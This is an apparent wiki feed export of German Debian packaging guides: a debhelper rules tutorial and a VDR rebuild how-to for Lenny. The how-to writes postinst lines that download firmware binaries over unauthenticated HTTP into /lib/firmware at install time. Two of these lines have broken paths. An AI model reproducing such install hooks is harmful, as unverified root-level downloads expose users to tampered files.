    * dh_compress Komprimiert Manualpages und Dokumentation &amp;gt; 4KB&lt;br /&gt;
    * dh_fixperms Achtet auf korrekte Dateirechte&lt;br /&gt;
    * dh_installdeb Kopiert Maintainer-Files&lt;br /&gt;
    * dh_shlibdeps Berechnet die Abhaengigkeiten der verwendeten dynamischen Bibliotheken&lt;br /&gt;
    * dh_gencontrol Generiert und installiert das control-File&lt;br /&gt;
    * dh_md5sums Generiert MD5 Pruefsummen&lt;br /&gt;
    * dh_builddeb Generiert das Debian-Paket (mit dpkg)&lt;br /&gt;
&lt;br /&gt;
Obige Auflistung ist nicht vollstaendig und sollte nur als Anhaltspunkt dienen. Jedes der dh_*-Programme kommt mit einer eigenen Manualpage in der Sektion (1). Jedes der dh_*-Programme fuegt ein besonderes Featuer zum zu erstellenden Debian-Paket hinzu.&lt;br /&gt;
&lt;br /&gt;
Hier die rules-Date nach unseren Anpassungen:&lt;br /&gt;
&lt;br /&gt;
     #!/usr/bin/make -f&lt;br /&gt;
     # Sample debian/rules that uses debhelper.&lt;br /&gt;
     # GNU copyright 1997 to 1999 by Joey Hess.&lt;br /&gt;
&lt;br /&gt;
     # Uncomment this to turn on verbose mode.&lt;br /&gt;
     #export DH_VERBOSE=1&lt;br /&gt;
&lt;br /&gt;
     # This is the debhelper compatability version to use.&lt;br /&gt;
     export DH_COMPAT=3&lt;br /&gt;
&lt;br /&gt;
     configure: configure-stamp&lt;br /&gt;
     configure-stamp:&lt;br /&gt;
     	dh_testdir&lt;br /&gt;
     	# Add here commands to configure the package.&lt;br /&gt;
     	./configure --prefix=/usr --mandir=\$${prefix}/share/man \&lt;br /&gt;
                    --infodir=\$${prefix}/share/info&lt;br /&gt;
&lt;br /&gt;
     	touch configure-stamp&lt;br /&gt;
&lt;br /&gt;
     build: configure-stamp build-stamp&lt;br /&gt;
     build-stamp:&lt;br /&gt;
     	dh_testdir&lt;br /&gt;
&lt;br /&gt;
     	# Add here commands to compile the package.&lt;br /&gt;
     	$(MAKE)&lt;br /&gt;
     	#/usr/bin/docbook-to-man debian/hallo.sgml &amp;gt; hallo.1&lt;br /&gt;
&lt;br /&gt;
     	touch build-stamp&lt;br /&gt;
&lt;br /&gt;
     clean:&lt;br /&gt;
     	dh_testdir&lt;br /&gt;
     	dh_testroot&lt;br /&gt;
     	rm -f build-stamp configure-stamp&lt;br /&gt;
&lt;br /&gt;
     	# Add here commands to clean up after the build process.&lt;br /&gt;
     	-$(MAKE) distclean&lt;br /&gt;
&lt;br /&gt;
     	dh_clean&lt;br /&gt;
&lt;br /&gt;
     install: build&lt;br /&gt;
     	dh_testdir&lt;br /&gt;
     	dh_testroot&lt;br /&gt;
     	dh_clean -k&lt;br /&gt;
     	dh_installdirs&lt;br /&gt;
&lt;br /&gt;
     	# Add here commands to install the package into debian/hallo.&lt;br /&gt;
     	$(MAKE) install prefix=$(CURDIR)/debian/hallo&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
     # Build architecture-independent files here.&lt;br /&gt;
     binary-indep: build install&lt;br /&gt;
     # We have nothing to do by default.&lt;br /&gt;
&lt;br /&gt;
     # Build architecture-dependent files here.&lt;br /&gt;
     binary-arch: build install&lt;br /&gt;
     	dh_testdir&lt;br /&gt;
     	dh_testroot&lt;br /&gt;
     #	dh_installdebconf	&lt;br /&gt;
     	dh_installdocs&lt;br /&gt;
     #	dh_installexamples&lt;br /&gt;
     	dh_installmenu&lt;br /&gt;
     #	dh_installlogrotate&lt;br /&gt;
     #	dh_installemacsen&lt;br /&gt;
     #	dh_installpam&lt;br /&gt;
     #	dh_installmime&lt;br /&gt;
     #	dh_installinit&lt;br /&gt;
     #	dh_installcron&lt;br /&gt;
     #	dh_installman&lt;br /&gt;
     #	dh_installinfo&lt;br /&gt;
     	dh_undocumented&lt;br /&gt;
     	dh_installchangelogs ChangeLog&lt;br /&gt;
     	dh_link&lt;br /&gt;
     	dh_strip&lt;br /&gt;
     	dh_compress&lt;br /&gt;
     	dh_fixperms&lt;br /&gt;
     #	dh_makeshlibs&lt;br /&gt;
     	dh_installdeb&lt;br /&gt;
     #	dh_perl&lt;br /&gt;
     	dh_shlibdeps&lt;br /&gt;
     	dh_gencontrol&lt;br /&gt;
     	dh_md5sums&lt;br /&gt;
     	dh_builddeb&lt;br /&gt;
     &lt;br /&gt;
     binary: binary-indep binary-arch&lt;br /&gt;
     .PHONY: build clean binary-indep binary-arch binary install configure&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Das README.debian-File&lt;br /&gt;
&lt;br /&gt;
Hier sollten alle Aenderungen gegenueber der upstream-Version des Pakets ausfuehrlich dokumentiert werden.&lt;br /&gt;
conffiles&lt;br /&gt;
&lt;br /&gt;
Jedem Debianer duerfte die Debian-Handhabe mit den Konfigurationsdateien bekannt sein. Damit das Paketsystem weiss, welche Konfigurationsdateien das Paket mitbringt, sind diese in dieser Datei mit absolutem Pfad anzugen.&lt;br /&gt;
dirs&lt;br /&gt;
&lt;br /&gt;
Hier werden alle zu Installation benoetigten Verzeichnisse aufgefuehrt (z.B. /usr/bin).&lt;br /&gt;
menu&lt;br /&gt;
&lt;br /&gt;
Hier kann angegeben werden, wie das Paket in das Debian-Menuesystem integriert werden soll (siehe auch dh_installmenu(1) im rules-File).&lt;br /&gt;
&lt;br /&gt;
Da hallo ein Konsolenprogramm ist, aendern wir es wie folgt ab:&lt;br /&gt;
&lt;br /&gt;
     ?package(hallo):needs=text section=Apps/Tools \&lt;br /&gt;
     title=&amp;quot;hallo&amp;quot; command=&amp;quot;/usr/bin/hallo&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Paketerstellung&lt;br /&gt;
&lt;br /&gt;
Wenn wir uns sicher sind, alle Anpassungen vorgenommen zu haben, wechseln wir in das Paket-Hauptverzeichnis (hier hallo-0.1) und erstellen unser Debian-Paket:&lt;br /&gt;
&lt;br /&gt;
     dpkg-buildpackage -rfakeroot -us -uc -sa -tc -j4&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ging alles gut erhalten wir die folgenden Dateien (ein Verzeichnis hoeher):&lt;br /&gt;
&lt;br /&gt;
    * hallo_0.1-1_i386.deb Das Debian-Paket fuer die Architektur fuer die wir uebersetzt haben&lt;br /&gt;
    * hallo_0.1.orig.tar.gz Der orginal Quellcode&lt;br /&gt;
    * hallo_0.1-1.dsc Auflistung der Bestandteile des Quellpakets.&lt;br /&gt;
    * hallo_0.1-1.diff.gz Alle Aenderungen am orginal Quellcode (siehe diff(1)).&lt;br /&gt;
    * hallo_0.1-1_i386.changes Enthaelt eine kleine Aenderungshistorie. Download-tools werden diese Datei aus, um zu entscheiden, was fuer das vollstaendige Quellpaket benoetigt wird. User koennen hier nachschauen, ob es sich lohnt, sich das Paket zu besorgen.&lt;/div&gt;</summary>
		<author><name>SOliver</name></author>
	</entry>
	<entry>
		<id>https://wiki.oppserver.net/index.php?title=DEBIAN_LENNY_PAKETE_ERSTELLEN&amp;diff=76</id>
		<title>DEBIAN LENNY PAKETE ERSTELLEN</title>
		<link rel="alternate" type="text/html" href="https://wiki.oppserver.net/index.php?title=DEBIAN_LENNY_PAKETE_ERSTELLEN&amp;diff=76"/>
		<updated>2013-04-29T13:54:12Z</updated>

		<summary type="html">&lt;p&gt;SOliver: Die Seite wurde neu angelegt: „DEBIAN LENNY PAKETE ERSTELLEN (Stand 14.02.2012) [ © Oliver Schuetz aka OppTupacShakur | http://OPPServer.net | http://unix.oppserver.net ]  Als erstes benoet…“&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;DEBIAN LENNY PAKETE ERSTELLEN (Stand 14.02.2012) [ © Oliver Schuetz aka OppTupacShakur | http://OPPServer.net | http://unix.oppserver.net ]&lt;br /&gt;
&lt;br /&gt;
Als erstes benoetigte Pakete zum bauen installen:&lt;br /&gt;
&lt;br /&gt;
 aptitude install build-essential dpkg-dev devscripts expect fakeroot wget libssl-dev gettext dpatch dh-make libc6-dev gcc&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
VDROLDSTABLE (1.4.7)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Als User (opp) ausfuehren:&lt;br /&gt;
 cd /etc/apt&lt;br /&gt;
 sudo rm -rf /etc/apt/sources.list&lt;br /&gt;
 sudo cp /etc/apt/sources.list.vdroldstable-build /etc/apt/sources.list&lt;br /&gt;
 sudo aptitude update&lt;br /&gt;
 cd /linux/repository/dists/lenny/$(uname -m)/opp-vdr/vdroldstable&lt;br /&gt;
 sudo apt-get source vdr&lt;br /&gt;
 sudo apt-get build-dep vdr&lt;br /&gt;
 sudo chown -R opp:users *&lt;br /&gt;
 rm -fv *.diff.gz &amp;amp;&amp;amp; rm -fv *.dsc&lt;br /&gt;
 cd vdr-*&lt;br /&gt;
 mv channels.conf channels.conf.old&lt;br /&gt;
 cp /linux/pub/dvb/bouquets/vdr/sat/astra19/opp/channels.conf .&lt;br /&gt;
 mv channels.conf channels.conf.opp.astra19&lt;br /&gt;
 cp /linux/pub/dvb/bouquets/vdr/sat/astra23/opp/channels.conf .&lt;br /&gt;
 mv channels.conf channels.conf.opp.astra23&lt;br /&gt;
 cp /linux/pub/dvb/bouquets/vdr/sat/hotbird13/opp/channels.conf .&lt;br /&gt;
 mv channels.conf channels.conf.opp.hotbird13&lt;br /&gt;
 cp /linux/pub/dvb/bouquets/vdr/sat/astra19+hotbird13/opp/channels.conf .&lt;br /&gt;
 mv channels.conf channels.conf.opp.astra19+hotbird13&lt;br /&gt;
 cp /linux/pub/dvb/bouquets/vdr/sat/astra19+hotbird13+astra23/opp/channels.conf .&lt;br /&gt;
 mv channels.conf channels.conf.opp.astra19+hotbird13+astra23&lt;br /&gt;
 cp /linux/pub/dvb/bouquets/vdr/sat/astra19+astra23/opp/channels.conf .&lt;br /&gt;
 mv channels.conf channels.conf.opp.astra19+astra23&lt;br /&gt;
 cp /linux/pub/dvb/bouquets/vdr/sat/hotbird13+astra23/opp/channels.conf .&lt;br /&gt;
 mv channels.conf channels.conf.opp.hotbird13+astra23&lt;br /&gt;
 cp /linux/pub/dvb/bouquets/vdr/terrestrisch/nrw/opp/channels.conf .&lt;br /&gt;
 mv channels.conf channels.conf.opp.terr&lt;br /&gt;
 cp /linux/pub/dvb/bouquets/vdr/sat/astra19/opp/channels.conf .&lt;br /&gt;
 mv diseqc.conf diseqc.conf.old&lt;br /&gt;
 cp /linux/pub/dvb/bouquets/vdr/sat/astra19.2-hotbird13.0_diseqc.conf .&lt;br /&gt;
 mv astra19.2-hotbird13.0_diseqc.conf diseqc.conf.astra19.2-hotbird13.0&lt;br /&gt;
 cp /linux/pub/dvb/bouquets/vdr/sat/astra19.2-hotbird13.0-astra23.5_diseqc.conf .&lt;br /&gt;
 mv astra19.2-hotbird13.0-astra23.5_diseqc.conf diseqc.conf.astra19.2-hotbird13.0-astra23.5&lt;br /&gt;
 cp /linux/pub/dvb/bouquets/vdr/sat/astra19.2-hotbird13.0-astra23.5-astra28.0_diseqc.conf .&lt;br /&gt;
 mv astra19.2-hotbird13.0-astra23.5-astra28.0_diseqc.conf diseqc.conf.astra19.2-hotbird13.0-astra23.5-astra28.0&lt;br /&gt;
 cp /linux/pub/dvb/bouquets/vdr/sat/astra19.2-astra23.5_diseqc.conf .&lt;br /&gt;
 mv astra19.2-astra23.5_diseqc.conf diseqc.conf.astra19.2-astra23.5&lt;br /&gt;
 cp /linux/pub/dvb/bouquets/vdr/sat/hotbird13.0-astra23.5_diseqc.conf .&lt;br /&gt;
 mv hotbird13.0-astra23.5_diseqc.conf diseqc.conf.hotbird13.0-astra23.5&lt;br /&gt;
 cp /linux/pub/dvb/bouquets/vdr/sat/astra19.2-hotbird13.0_diseqc.conf .&lt;br /&gt;
 mv astra19.2-hotbird13.0_diseqc.conf diseqc.conf&lt;br /&gt;
 chmod 644 channels.conf*&lt;br /&gt;
 chmod 644 diseqc.conf*&lt;br /&gt;
 cd debian/&lt;br /&gt;
 mv vdr.postinst vdr.postinst.old&lt;br /&gt;
 grep -v &#039;exit 0&#039; vdr.postinst.old &amp;gt; vdr.postinst&lt;br /&gt;
 echo &#039;if [ ! -d /video ] ; then&#039; &amp;gt;&amp;gt; vdr.postinst&lt;br /&gt;
 echo &#039;     mkdir /video&#039; &amp;gt;&amp;gt; vdr.postinst&lt;br /&gt;
 echo &#039;fi&#039; &amp;gt;&amp;gt; vdr.postinst&lt;br /&gt;
 echo &amp;gt;&amp;gt; vdr.postinst&lt;br /&gt;
 echo &#039;chown vdr:vdr /video&#039; &amp;gt;&amp;gt; vdr.postinst&lt;br /&gt;
 echo &amp;gt;&amp;gt; vdr.postinst&lt;br /&gt;
 echo &#039;if [ -d /var/lib/video.00 ] ; then&#039; &amp;gt;&amp;gt; vdr.postinst&lt;br /&gt;
 echo &#039;     mv -f /var/lib/video.00/* /video &amp;gt; /dev/null 2&amp;gt;&amp;amp;1&#039; &amp;gt;&amp;gt; vdr.postinst&lt;br /&gt;
 echo &#039;     rm -rf /var/lib/video.00&#039; &amp;gt;&amp;gt; vdr.postinst&lt;br /&gt;
 echo &#039;     ln -s /video /var/lib/video.00&#039; &amp;gt;&amp;gt; vdr.postinst&lt;br /&gt;
 echo &#039;fi&#039; &amp;gt;&amp;gt; vdr.postinst&lt;br /&gt;
 echo &amp;gt;&amp;gt; vdr.postinst&lt;br /&gt;
 echo &#039;if [ ! -e /lib/hotplug/dvb-ttpci-01.fw-2622 ] ; then&#039; &amp;gt;&amp;gt; vdr.postinst&lt;br /&gt;
 echo &#039;wget http://dvb.oppserver.net/unix/firmware/dvb-ttpci-01.fw-2622 -O /lib/firmware/dvb-ttpci-01.fw-2622&#039; &amp;gt;&amp;gt; vdr.postinst&lt;br /&gt;
 echo &#039;fi&#039; &amp;gt;&amp;gt; vdr.postinst&lt;br /&gt;
 echo &amp;gt;&amp;gt; vdr.postinst&lt;br /&gt;
 echo &#039;if [ -e /lib/firmware/dvb-ttpci-01.fw ]; then&#039; &amp;gt;&amp;gt; vdr.postinst&lt;br /&gt;
 echo &#039;rm /lib/firmware/dvb-ttpci-01.fw&#039; &amp;gt;&amp;gt; vdr.postinst&lt;br /&gt;
 echo &#039;fi&#039; &amp;gt;&amp;gt; vdr.postinst&lt;br /&gt;
 echo &#039;ln -s /lib/firmware/dvb-ttpci-01.fw-2622 /lib/firmware/dvb-ttpci-01.fw&#039; &amp;gt;&amp;gt; vdr.postinst&lt;br /&gt;
 echo &amp;gt;&amp;gt; vdr.postinst&lt;br /&gt;
 echo &#039;if [ ! -e /lib/hotplug/sms1xxx-hcw-114xxx-cmmb-01.fw ] ; then&#039; &amp;gt;&amp;gt; vdr.postinst&lt;br /&gt;
 echo &#039;wget http://dvb.oppserver.net/unix/firmware/sms1xxx/sms1xxx-hcw-114xxx-cmmb-01.fw -O /lib/firmware/sms1xxx-hcw-114xxx-cmmb-01.fw&#039; &amp;gt;&amp;gt; vdr.postinst&lt;br /&gt;
 echo &#039;fi&#039; &amp;gt;&amp;gt; vdr.postinst&lt;br /&gt;
 echo &amp;gt;&amp;gt; vdr.postinst&lt;br /&gt;
 echo &#039;if [ ! -e /lib/hotplug/sms1xxx-hcw-55xxx-dvbt-01.fw ] ; then&#039; &amp;gt;&amp;gt; vdr.postinst&lt;br /&gt;
 echo &#039;wget http://dvb.oppserver.net/unix/firmware/sms1xxx/sms1xxx-hcw-55xxx-dvbt-01.fw -O /lib/firmware/sms1xxx-hcw-55xxx -dvbt-01.fw&#039; &amp;gt;&amp;gt; vdr.postinst&lt;br /&gt;
 echo &#039;fi&#039; &amp;gt;&amp;gt; vdr.postinst&lt;br /&gt;
 echo &amp;gt;&amp;gt; vdr.postinst&lt;br /&gt;
 echo &#039;if [ ! -e /lib/hotplug/sms1xxx-hcw-55xxx-dvbt-02.fw ] ; then&#039; &amp;gt;&amp;gt; vdr.postinst&lt;br /&gt;
 echo &#039;wget http://dvb.oppserver.net/unix/firmware/sms1xxx/sms1xxx-hcw-55xxx-dvbt-02.fw -O /lib/firmware/sms1xxx-hcw-55xxx -dvbt-02.fw&#039; &amp;gt;&amp;gt; vdr.postinst&lt;br /&gt;
 echo &#039;fi&#039; &amp;gt;&amp;gt; vdr.postinst&lt;br /&gt;
 echo &amp;gt;&amp;gt; vdr.postinst&lt;br /&gt;
 echo &#039;if [ ! -e /lib/hotplug/sms1xxx-hcw-55xxx-dvbt-03.fw ] ; then&#039; &amp;gt;&amp;gt; vdr.postinst&lt;br /&gt;
 echo &#039;wget http://dvb.oppserver.net/unix/firmware/sms1xxx/sms1xxx-hcw-55xxx-dvbt-03.fw -O /lib/firmware/sms1xxx-hcw-55xxx-dvbt-03.fw&#039; &amp;gt;&amp;gt; vdr.postinst&lt;br /&gt;
 echo &#039;fi&#039; &amp;gt;&amp;gt; vdr.postinst&lt;br /&gt;
 echo &amp;gt;&amp;gt; vdr.postinst&lt;br /&gt;
 echo &#039;if [ ! -e /lib/hotplug/sms1xxx-hcw-55xxx-isdbt-02.fw ] ; then&#039; &amp;gt;&amp;gt; vdr.postinst&lt;br /&gt;
 echo &#039;wget http://dvb.oppserver.net/unix/firmware/sms1xxx/sms1xxx-hcw-55xxx-isdbt-02.fw -O /lib/firmware/sms1xxx-hcw-55xxx-isdbt-02.fw&#039; &amp;gt;&amp;gt; vdr.postinst&lt;br /&gt;
 echo &#039;fi&#039; &amp;gt;&amp;gt; vdr.postinst&lt;br /&gt;
 echo &amp;gt;&amp;gt; vdr.postinst&lt;br /&gt;
 echo &#039;if [ ! -e /lib/hotplug/sms1xxx-hcw-55xxx-isdbt-03.fw ] ; then&#039; &amp;gt;&amp;gt; vdr.postinst&lt;br /&gt;
 echo &#039;wget http://dvb.oppserver.net/unix/firmware/sms1xxx/sms1xxx-hcw-55xxx-isdbt-03.fw -O /lib/firmware/sms1xxx-hcw-55xxx-isdbt-03.fw&#039; &amp;gt;&amp;gt; vdr.postinst&lt;br /&gt;
 echo &#039;fi&#039; &amp;gt;&amp;gt; vdr.postinst&lt;br /&gt;
 echo &amp;gt;&amp;gt; vdr.postinst&lt;br /&gt;
 echo &#039;if [ ! -e /lib/hotplug/dvb-usb-dib0700-1.10.fw ] ; then&#039; &amp;gt;&amp;gt; vdr.postinst&lt;br /&gt;
 echo &#039;wget http://dvb.oppserver.net/unix/firmware/nova-t-stick/dvb-usb-dib0700-1.10.fw -O /lib/firmware/dvb-usb-dib0700-1.10.fw&#039; &amp;gt;&amp;gt; vdr.postinst&lt;br /&gt;
 echo &#039;fi&#039; &amp;gt;&amp;gt; vdr.postinst&lt;br /&gt;
 echo &amp;gt;&amp;gt; vdr.postinst&lt;br /&gt;
 echo &#039;if [ ! -e /lib/hotplug/dvb-usb-dib0700-1.20.fw ] ; then&#039; &amp;gt;&amp;gt; vdr.postinst&lt;br /&gt;
 echo &#039;wget http://dvb.oppserver.net/unix/firmware/nova-t-stick/dvb-usb-dib0700-1.20.fw -O /lib/firmware/dvb-usb-dib0700-1.20.fw&#039; &amp;gt;&amp;gt; vdr.postinst&lt;br /&gt;
 echo &#039;fi&#039; &amp;gt;&amp;gt; vdr.postinst&lt;br /&gt;
 echo &amp;gt;&amp;gt; vdr.postinst&lt;br /&gt;
 echo &#039;if [ ! -e /lib/hotplug/dvb-usb-nova-t-usb2-01.fw ] ; then&#039; &amp;gt;&amp;gt; vdr.postinst&lt;br /&gt;
 echo &#039;wget http://dvb.oppserver.net/unix/firmware/nova-t-usb2/dvb-usb-nova-t-usb2-01.fw -O /lib/firmware/dvb-usb-nova-t-usb2-01.fw&#039; &amp;gt;&amp;gt; vdr.postinst&lt;br /&gt;
 echo &#039;fi&#039; &amp;gt;&amp;gt; vdr.postinst&lt;br /&gt;
 echo &amp;gt;&amp;gt; vdr.postinst&lt;br /&gt;
 echo &#039;if [ ! -e /lib/hotplug/dvb-usb-nova-t-usb2-02.fw ] ; then&#039; &amp;gt;&amp;gt; vdr.postinst&lt;br /&gt;
 echo &#039;wget http://dvb.oppserver.net/unix/firmware/nova-t-usb2/dvb-usb-nova-t-usb2-02.fw -O /lib/firmware/dvb-usb-nova-t-usb2-02.fw&#039; &amp;gt;&amp;gt; vdr.postinst&lt;br /&gt;
 echo &#039;fi&#039; &amp;gt;&amp;gt; vdr.postinst&lt;br /&gt;
 echo &amp;gt;&amp;gt; vdr.postinst&lt;br /&gt;
 echo &#039;ln -sf /tmp/pmt.tmp /var/tmp/pmt.tmp&#039; &amp;gt;&amp;gt; vdr.postinst&lt;br /&gt;
 echo &#039;ln -sf /tmp/pmt0.tmp /var/tmp/pmt0.tmp&#039; &amp;gt;&amp;gt; vdr.postinst&lt;br /&gt;
 echo &#039;ln -sf /tmp/pmt1.tmp /var/tmp/pmt1.tmp&#039; &amp;gt;&amp;gt; vdr.postinst&lt;br /&gt;
 echo &#039;ln -sf /tmp/pmt2.tmp /var/tmp/pmt2.tmp&#039; &amp;gt;&amp;gt; vdr.postinst&lt;br /&gt;
 echo &#039;ln -sf /tmp/pmt3.tmp /var/tmp/pmt3.tmp&#039; &amp;gt;&amp;gt; vdr.postinst&lt;br /&gt;
 echo &#039;ln -sf /tmp/pmt4.tmp /var/tmp/pmt4.tmp&#039; &amp;gt;&amp;gt; vdr.postinst&lt;br /&gt;
 echo &#039;ln -sf /tmp/pmt5.tmp /var/tmp/pmt5.tmp&#039; &amp;gt;&amp;gt; vdr.postinst&lt;br /&gt;
 echo &amp;gt;&amp;gt; vdr.postinst&lt;br /&gt;
 echo &#039;exit 0&#039; &amp;gt;&amp;gt; vdr.postinst&lt;br /&gt;
 rm vdr.postinst.old&lt;br /&gt;
&lt;br /&gt;
Dann in vdr.postrm folgendes aendern:&lt;br /&gt;
&lt;br /&gt;
    purge)&lt;br /&gt;
&lt;br /&gt;
in&lt;br /&gt;
&lt;br /&gt;
    purge)&lt;br /&gt;
        if [ -L /var/lib/video.00 ] ; then&lt;br /&gt;
             rm /var/lib/video.00&lt;br /&gt;
        fi&lt;br /&gt;
&lt;br /&gt;
Nun die changelog kopieren:&lt;br /&gt;
 mv changelog changelog.bkp&lt;br /&gt;
 cp -v /linux/repository/dists/lenny/$(uname -m)/opp-vdr/opp-vdr-patches/vdroldstable/multipatch/debian/changelog .&lt;br /&gt;
 chmod 644 changelog&lt;br /&gt;
Nun bearbeiten und dann das Backup loeschen:&lt;br /&gt;
 rm changelog.bkp&lt;br /&gt;
&lt;br /&gt;
Backup kopieren:&lt;br /&gt;
 rm /linux/repository/dists/lenny/$(uname -m)/opp-vdr/opp-vdr-patches/vdroldstable/multipatch/debian/changelog&lt;br /&gt;
 cp -v changelog /linux/repository/dists/lenny/$(uname -m)/opp-vdr/opp-vdr-patches/vdroldstable/multipatch/debian/changelog&lt;br /&gt;
&lt;br /&gt;
 cd patches&lt;br /&gt;
 rm 00list&lt;br /&gt;
 wget http://www.e-tobi.net/vdr-testing/pool-etch/patchlists/multipatch.00list&lt;br /&gt;
 mv multipatch.00list 00list&lt;br /&gt;
 echo &amp;gt;&amp;gt; 00list&lt;br /&gt;
 echo &#039;# opp-sc-patch&#039; &amp;gt;&amp;gt; 00list&lt;br /&gt;
 echo opt-999_opp-sc-patch &amp;gt;&amp;gt; 00list&lt;br /&gt;
 echo &amp;gt;&amp;gt; 00list&lt;br /&gt;
 echo &#039;# api5 patch&#039; &amp;gt;&amp;gt; 00list&lt;br /&gt;
 echo vdr-dvb-api-5-is-fine &amp;gt;&amp;gt; 00list&lt;br /&gt;
 cp -v /linux/repository/dists/lenny/$(uname -m)/opp-vdr/opp-vdr-patches/vdroldstable/multipatch/debian/patches/* .&lt;br /&gt;
 chmod 644 *&lt;br /&gt;
 cd /linux/repository/dists/lenny/$(uname -m)/opp-vdr/vdroldstable&lt;br /&gt;
 sudo chown -R opp:users *&lt;br /&gt;
 cd vdr-*&lt;br /&gt;
 dpkg-buildpackage -rfakeroot -us -uc -sa -tc&lt;br /&gt;
 cd /linux/repository/dists/lenny/$(uname -m)/opp-vdr/vdroldstable&lt;br /&gt;
 cp -v *.deb *.changes vdr_1.* /mirror/debian.oppserver.net/incoming/vdroldstable/lenny/&lt;br /&gt;
&lt;br /&gt;
Nun die Revision fuer die Plugins anpassen:&lt;br /&gt;
 expr `cat /linux/repository/dists/lenny/$(uname -m)/opp-vdr/vdroldstable/revision` + 1 &amp;gt; /linux/repository/dists/lenny/$(uname -m)/opp-vdr/vdroldstable/revision&lt;br /&gt;
&lt;br /&gt;
 cd /etc/apt&lt;br /&gt;
 sudo rm -r sources.list&lt;br /&gt;
 sudo cp /etc/apt/sources.list.orig.vdroldstable /etc/apt/sources.list&lt;br /&gt;
 sudo aptitude update&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
VDR (1.6.0)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Als User (opp) ausfuehren:&lt;br /&gt;
 cd /etc/apt&lt;br /&gt;
 sudo rm -rf /etc/apt/sources.list&lt;br /&gt;
 sudo cp /etc/apt/sources.list.vdr-build /etc/apt/sources.list&lt;br /&gt;
 sudo aptitude update&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Folgendes muss nur gemacht werden wenn es eine neue make-special-vdr version gibt:&lt;br /&gt;
 mkdir /linux/repository/dists/lenny/$(uname -m)/opp-vdr/vdr/make-special-vdr&lt;br /&gt;
 cd /linux/repository/dists/lenny/$(uname -m)/opp-vdr/vdr/make-special-vdr&lt;br /&gt;
 sudo apt-get source make-special-vdr&lt;br /&gt;
 sudo chown -R opp:users *&lt;br /&gt;
 rm -fv make-special-vdr*.tar.gz &amp;amp;&amp;amp; rm -fv make-special-vdr*.dsc&lt;br /&gt;
&lt;br /&gt;
debian/changelog anpassen:&lt;br /&gt;
&lt;br /&gt;
 cd make-special-vdr-*&lt;br /&gt;
 dpkg-buildpackage -rfakeroot -us -uc -sa -tc&lt;br /&gt;
 cd /linux/repository/dists/lenny/$(uname -m)/opp-vdr/vdr/make-special-vdr&lt;br /&gt;
 cp -v make-special-vdr*.deb make-special-vdr*.changes make-special-vdr*.dsc make-special-vdr*.tar.gz /mirror/debian.oppserver.net/incoming/vdr/lenny/&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 cd /etc/apt&lt;br /&gt;
 sudo rm -rf /etc/apt/sources.list&lt;br /&gt;
 sudo cp /etc/apt/sources.list.orig.vdr /etc/apt/sources.list&lt;br /&gt;
 sudo aptitude update&lt;br /&gt;
 sudo aptitude purge make-special-vdr&lt;br /&gt;
 sudo aptitude install make-special-vdr&lt;br /&gt;
&lt;br /&gt;
 cd /etc/apt&lt;br /&gt;
 sudo rm -rf /etc/apt/sources.list&lt;br /&gt;
 sudo cp /etc/apt/sources.list.vdr-build /etc/apt/sources.list&lt;br /&gt;
 sudo aptitude update&lt;br /&gt;
&lt;br /&gt;
 cd /linux/repository/dists/lenny/$(uname -m)/opp-vdr/vdr&lt;br /&gt;
 sudo apt-get source vdr&lt;br /&gt;
 sudo apt-get build-dep vdr&lt;br /&gt;
 sudo chown -R opp:users *&lt;br /&gt;
 rm -fv *.diff.gz &amp;amp;&amp;amp; rm -fv *.dsc&lt;br /&gt;
 cd vdr-*&lt;br /&gt;
 mv channels.conf channels.conf.old&lt;br /&gt;
 cp /linux/pub/dvb/bouquets/vdr/sat/astra19/opp/channels.conf .&lt;br /&gt;
 mv channels.conf channels.conf.opp.astra19&lt;br /&gt;
 cp /linux/pub/dvb/bouquets/vdr/sat/astra23/opp/channels.conf .&lt;br /&gt;
 mv channels.conf channels.conf.opp.astra23&lt;br /&gt;
 cp /linux/pub/dvb/bouquets/vdr/sat/hotbird13/opp/channels.conf .&lt;br /&gt;
 mv channels.conf channels.conf.opp.hotbird13&lt;br /&gt;
 cp /linux/pub/dvb/bouquets/vdr/sat/astra19+hotbird13/opp/channels.conf .&lt;br /&gt;
 mv channels.conf channels.conf.opp.astra19+hotbird13&lt;br /&gt;
 cp /linux/pub/dvb/bouquets/vdr/sat/astra19+hotbird13+astra23/opp/channels.conf .&lt;br /&gt;
 mv channels.conf channels.conf.opp.astra19+hotbird13+astra23&lt;br /&gt;
 cp /linux/pub/dvb/bouquets/vdr/sat/astra19+astra23/opp/channels.conf .&lt;br /&gt;
 mv channels.conf channels.conf.opp.astra19+astra23&lt;br /&gt;
 cp /linux/pub/dvb/bouquets/vdr/sat/hotbird13+astra23/opp/channels.conf .&lt;br /&gt;
 mv channels.conf channels.conf.opp.hotbird13+astra23&lt;br /&gt;
 cp /linux/pub/dvb/bouquets/vdr/terrestrisch/nrw/opp/channels.conf .&lt;br /&gt;
 mv channels.conf channels.conf.opp.terr&lt;br /&gt;
 cp /linux/pub/dvb/bouquets/vdr/sat/astra19/opp/channels.conf .&lt;br /&gt;
 mv diseqc.conf diseqc.conf.old&lt;br /&gt;
 cp /linux/pub/dvb/bouquets/vdr/sat/astra19.2-hotbird13.0_diseqc.conf .&lt;br /&gt;
 mv astra19.2-hotbird13.0_diseqc.conf diseqc.conf.astra19.2-hotbird13.0&lt;br /&gt;
 cp /linux/pub/dvb/bouquets/vdr/sat/astra19.2-hotbird13.0-astra23.5_diseqc.conf .&lt;br /&gt;
 mv astra19.2-hotbird13.0-astra23.5_diseqc.conf diseqc.conf.astra19.2-hotbird13.0-astra23.5&lt;br /&gt;
 cp /linux/pub/dvb/bouquets/vdr/sat/astra19.2-hotbird13.0-astra23.5-astra28.0_diseqc.conf .&lt;br /&gt;
 mv astra19.2-hotbird13.0-astra23.5-astra28.0_diseqc.conf diseqc.conf.astra19.2-hotbird13.0-astra23.5-astra28.0&lt;br /&gt;
 cp /linux/pub/dvb/bouquets/vdr/sat/astra19.2-astra23.5_diseqc.conf .&lt;br /&gt;
